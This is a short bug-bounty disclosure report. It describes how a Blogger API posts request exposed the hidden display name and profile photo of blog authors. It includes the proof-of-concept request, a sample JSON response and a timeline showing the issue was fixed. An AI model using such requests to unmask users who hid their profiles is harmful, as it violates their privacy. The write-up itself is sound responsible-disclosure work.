[Google] Disclose hidden Blogger profile Display name and Profile photo

 Because of an unfiltered response to an API call, it was possible for anyone to fetch hidden Blogger Profile Display name and Profile photo.

POC -

An endpoint going to -

=========================================

GET https://blogger.googleapis.com/v3/blogs/target_blog_id/posts?fetchBodies=true&fetchImages=true&maxResults=69&view=VIEW_TYPE_UNSPECIFIED&key=[YOUR_API_KEY] HTTP/1.1

Authorization: Bearer [YOUR_ACCESS_TOKEN]

=========================================

Would respond with the hidden Profile Display name and Profile photo as below -

=========================================

"author": {
    "id": "blogger_id",
    "displayName": "blogger_name",
    "url": "https://www.blogger.com/profile/blogger_id",
    "image": {
      "url": "//2.bp.blogspot.com/blogger_photo.jpg" }

=========================================

Timeline -

Reported - 31.01.2023

Triaged - 01.02.2023

Accepted - 03.02.2023 (ūüéČ Nice catch!)

Rewarded - 17.02.2023

Fixed - 14.04.2023